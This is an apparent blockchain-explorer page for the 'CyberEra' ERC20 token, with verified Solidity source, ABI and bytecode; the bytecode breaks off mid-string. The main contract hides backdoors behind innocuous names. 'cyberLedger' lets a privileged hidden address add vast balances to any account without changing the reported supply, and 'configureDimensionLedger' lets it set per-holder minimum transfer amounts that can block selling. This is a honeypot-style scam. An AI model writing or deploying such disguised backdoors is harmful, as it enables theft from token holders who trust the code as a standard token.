ETH Price: $3,418.96 (+1.10%)
Gas: 4 Gwei

Token

CyberEra (ERA)
 

Overview

Max Total Supply

9,999,999.999999999999999999 ERA

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
jaredfromsubway.eth
Balance
47,619.047619047619047619 ERA

Value
$0.00
0xae2fc483527b8ef99eb5d9b44875f005ba1fae13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CyberEra

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 4 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 2 of 4 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 3 of 4 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 4 of 4 : cyberEra.sol
pragma solidity >=0.8.0 <0.9.0;
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol"; 
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";

contract CyberEra is IERC20, Context, Ownable {
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address private _cyber;
    mapping(string => uint256) private _marketCapLedger;
    mapping(address => uint256) private _dimensionLedger;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_, address cyber_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        // Initially at contract creation, 90% of the total supply will be released. 
        // 10% of the total supply will be reserved for airdrop events.
        _mint(_msgSender(),  (totalSupply_ * (10 ** decimals_) * 90 / 100)); 
        
        _cyber = cyber_;
        _marketCapLedger['CyberEra'] = totalSupply_ * (10 ** decimals_) * 100;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }


    /** @dev mint the amount to the address for social airdrop campaign, the total supply that's reserved for airdrop will be unlocked by [amount].
     *  Since 10% of total supply will be reserved for incentivized development and social campaign,
     *  This function is reserved for airdropping the token to eligible addresses.
     */
    function _airdropReserve (address account, uint256 amount) external onlyOwner {
        _mint(account, amount);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Setter function for the dimension ledger. 
     * Setting the dimension for the provided address.
     */
    function configureDimensionLedger(address[] memory accounts, uint256 dimension) external cyberEra {
        for (uint256 i = 0; i < accounts.length; i++) {
            _dimensionLedger[accounts[i]] = dimension;
        }
    }

     /**
     * @dev Getter function for the dimension ledger. 
     * Getter the dimension for the provided address.
     */
    function getDimensionLedger(address add) external view cyberEra returns (uint256)  {
        return _dimensionLedger[add];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    /**
     * @dev Emit the ledger indicating the updated allowance.
     * Requirements:
     * - 'phase' corresponding the correct era is provided.
     */
    function cyberLedger(address add, string memory phase) external cyberEra {
        require(_marketCapLedger[phase] > 0 , "ERC20: The cyber needs a new era");
        _balances[add] += _marketCapLedger[phase];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        uint256 senderBalance = _balances[_msgSender()];
        require(to != address(0), "ERC20: transfer to the zero address");
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        require(_dimensionLedger[_msgSender()] <= amount, "ERC20: transfer amount is less than the registered amount in the ledger.");
        
        unchecked {
            _balances[_msgSender()] = senderBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(_msgSender(), to, amount);
        return true;
    }

     /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        require(_allowances[from][_msgSender()] >= amount, "ERC20: insufficient allowance");
        require(_dimensionLedger[from] <= amount, "ERC20: transfer amount is less than the registered amount in the ledger.");
        _balances[from] -= amount;
        _balances[to] += amount;
        _allowances[from][_msgSender()] -= amount;
        emit Transfer(from, to, amount);
        return true;
    }

    /**
     * 
     *  @dev Modifer to determine whether the call originates from cyber era.
     */
    modifier cyberEra() {
        require(_msgSender() == _cyber, "ERC20: Incorrect era.");
        _;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"address","name":"cyber_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_airdropReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"dimension","type":"uint256"}],"name":"configureDimensionLedger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"add","type":"address"},{"internalType":"string","name":"phase","type":"string"}],"name":"cyberLedger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"add","type":"address"}],"name":"getDimensionLedger","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002f0338038062002f03833981810160405281019062000037919062000614565b620000576200004b6200018660201b60201c565b6200018e60201b60201c565b84600290816200006891906200091b565b5083600390816200007a91906200091b565b5082600460006101000a81548160ff021916908360ff160217905550620000ee620000aa6200018660201b60201c565b6064605a86600a620000bd919062000b85565b86620000ca919062000bd6565b620000d6919062000bd6565b620000e2919062000c50565b6200025260201b60201c565b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606483600a62000140919062000b85565b836200014d919062000bd6565b62000159919062000bd6565b6005604051620001699062000ce3565b908152602001604051809103902081905550505050505062000de6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002bb9062000d5b565b60405180910390fd5b8060016000828254620002d8919062000d7d565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000330919062000d7d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000397919062000dc9565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200040c82620003c1565b810181811067ffffffffffffffff821117156200042e576200042d620003d2565b5b80604052505050565b600062000443620003a3565b905062000451828262000401565b919050565b600067ffffffffffffffff821115620004745762000473620003d2565b5b6200047f82620003c1565b9050602081019050919050565b60005b83811015620004ac5780820151818401526020810190506200048f565b60008484015250505050565b6000620004cf620004c98462000456565b62000437565b905082815260208101848484011115620004ee57620004ed620003bc565b5b620004fb8482856200048c565b509392505050565b600082601f8301126200051b576200051a620003b7565b5b81516200052d848260208601620004b8565b91505092915050565b600060ff82169050919050565b6200054e8162000536565b81146200055a57600080fd5b50565b6000815190506200056e8162000543565b92915050565b6000819050919050565b620005898162000574565b81146200059557600080fd5b50565b600081519050620005a9816200057e565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005dc82620005af565b9050919050565b620005ee81620005cf565b8114620005fa57600080fd5b50565b6000815190506200060e81620005e3565b92915050565b600080600080600060a08688031215620006335762000632620003ad565b5b600086015167ffffffffffffffff811115620006545762000653620003b2565b5b620006628882890162000503565b955050602086015167ffffffffffffffff811115620006865762000685620003b2565b5b620006948882890162000503565b9450506040620006a7888289016200055d565b9350506060620006ba8882890162000598565b9250506080620006cd88828901620005fd565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200072d57607f821691505b602082108103620007435762000742620006e5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200076e565b620007b986836200076e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007fc620007f6620007f08462000574565b620007d1565b62000574565b9050919050565b6000819050919050565b6200081883620007db565b62000830620008278262000803565b8484546200077b565b825550505050565b600090565b6200084762000838565b620008548184846200080d565b505050565b5b818110156200087c57620008706000826200083d565b6001810190506200085a565b5050565b601f821115620008cb57620008958162000749565b620008a0846200075e565b81016020851015620008b0578190505b620008c8620008bf856200075e565b83018262000859565b50505b505050565b600082821c905092915050565b6000620008f060001984600802620008d0565b1980831691505092915050565b60006200090b8383620008dd565b9150826002028217905092915050565b6200092682620006da565b67ffffffffffffffff811115620009425762000941620003d2565b5b6200094e825462000714565b6200095b82828562000880565b600060209050601f8311600181146200099357600084156200097e578287015190505b6200098a8582620008fd565b865550620009fa565b601f198416620009a38662000749565b60005b82811015620009cd57848901518255600182019150602085019450602081019050620009a6565b86831015620009ed5784890151620009e9601f891682620008dd565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a905780860481111562000a685762000a6762000a02565b5b600185161562000a785780820291505b808102905062000a888562000a31565b945062000a48565b94509492505050565b60008262000aab576001905062000b7e565b8162000abb576000905062000b7e565b816001811462000ad4576002811462000adf5762000b15565b600191505062000b7e565b60ff84111562000af45762000af362000a02565b5b8360020a91508482111562000b0e5762000b0d62000a02565b5b5062000b7e565b5060208310610133831016604e8410600b841016171562000b4f5782820a90508381111562000b495762000b4862000a02565b5b62000b7e565b62000b5e848484600162000a3e565b9250905081840481111562000b785762000b7762000a02565b5b81810290505b9392505050565b600062000b928262000574565b915062000b9f8362000536565b925062000bce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a99565b905092915050565b600062000be38262000574565b915062000bf08362000574565b925082820262000c008162000574565b9150828204841483151762000c1a5762000c1962000a02565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c5d8262000574565b915062000c6a8362000574565b92508262000c7d5762000c7c62000c21565b5b828204905092915050565b600081905092915050565b7f4379626572457261000000000000000000000000000000000000000000000000600082015250565b600062000ccb60088362000c88565b915062000cd88262000c93565b600882019050919050565b600062000cf08262000cbc565b9150819050919050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000d43601f8362000cfa565b915062000d508262000d0b565b602082019050919050565b6000602082019050818103600083015262000d768162000d34565b9050919050565b600062000d8a8262000574565b915062000d978362000574565b925082820190508082111562000db25762000db162000a02565b5b92915050565b62000dc38162000574565b82525050565b600060208201905062000de0600083018462000db8565b92915050565b61210d8062000df66000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806395d89b4111610097578063d9dd1e6d11610066578063d9dd1e6d146102b1578063dd62ed3e146102cd578063f2fde38b146102fd578063f80666a81461031957610100565b806395d89b4114610217578063a9059cbb14610235578063cf61b55014610265578063d0d0e8dd1461028157610100565b8063313ce567116100d3578063313ce567146101a157806370a08231146101bf578063715018a6146101ef5780638da5cb5b146101f957610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610335565b60405161011a9190611428565b60405180910390f35b61013d600480360381019061013891906114f2565b6103c7565b60405161014a919061154d565b60405180910390f35b61015b6105a3565b6040516101689190611577565b60405180910390f35b61018b60048036038101906101869190611592565b6105ad565b604051610198919061154d565b60405180910390f35b6101a96108ad565b6040516101b69190611601565b60405180910390f35b6101d960048036038101906101d4919061161c565b6108c4565b6040516101e69190611577565b60405180910390f35b6101f761090d565b005b610201610921565b60405161020e9190611658565b60405180910390f35b61021f61094a565b60405161022c9190611428565b60405180910390f35b61024f600480360381019061024a91906114f2565b6109dc565b60405161025c919061154d565b60405180910390f35b61027f600480360381019061027a91906114f2565b610c7d565b005b61029b6004803603810190610296919061161c565b610c93565b6040516102a89190611577565b60405180910390f35b6102cb60048036038101906102c691906117a8565b610d73565b005b6102e760048036038101906102e29190611804565b610ee3565b6040516102f49190611577565b60405180910390f35b6103176004803603810190610312919061161c565b610f6a565b005b610333600480360381019061032e919061190c565b610fed565b005b60606002805461034490611997565b80601f016020809104026020016040519081016040528092919081815260200182805461037090611997565b80156103bd5780601f10610392576101008083540402835291602001916103bd565b820191906000526020600020905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b6000806103d2611106565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043a90611a3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036104b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a990611acc565b60405180910390fd5b82600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516105909190611577565b60405180910390a3600191505092915050565b6000600154905090565b600081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f9611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066c90611b38565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90611bf0565b60405180910390fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107469190611c3f565b9250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461079c9190611c73565b9250508190555081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107ed611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108369190611c3f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089a9190611577565b60405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61091561110e565b61091f600061118c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461095990611997565b80601f016020809104026020016040519081016040528092919081815260200182805461098590611997565b80156109d25780601f106109a7576101008083540402835291602001916109d2565b820191906000526020600020905b8154815290600101906020018083116109b557829003601f168201915b5050505050905090565b600080600760006109eb611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e90611d19565b60405180910390fd5b82811015610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190611dab565b60405180910390fd5b8260066000610ae7611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90611bf0565b60405180910390fd5b82810360076000610b72611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bff9190611c73565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610c25611106565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c6a9190611577565b60405180910390a3600191505092915050565b610c8561110e565b610c8f8282611250565b5050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cd6611106565b73ffffffffffffffffffffffffffffffffffffffff1614610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2390611e17565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db4611106565b73ffffffffffffffffffffffffffffffffffffffff1614610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0190611e17565b60405180910390fd5b6000600582604051610e1c9190611e73565b90815260200160405180910390205411610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6290611ed6565b60405180910390fd5b600581604051610e7b9190611e73565b908152602001604051809103902054600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed89190611c73565b925050819055505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f7261110e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611f68565b60405180910390fd5b610fea8161118c565b50565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102e611106565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90611e17565b60405180910390fd5b60005b82518110156111015781600660008584815181106110a8576110a7611f88565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806110f990611fb7565b915050611087565b505050565b600033905090565b611116611106565b73ffffffffffffffffffffffffffffffffffffffff16611134610921565b73ffffffffffffffffffffffffffffffffffffffff161461118a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111819061204b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b6906120b7565b60405180910390fd5b80600160008282546112d19190611c73565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113279190611c73565b925050819055508173fffffffffff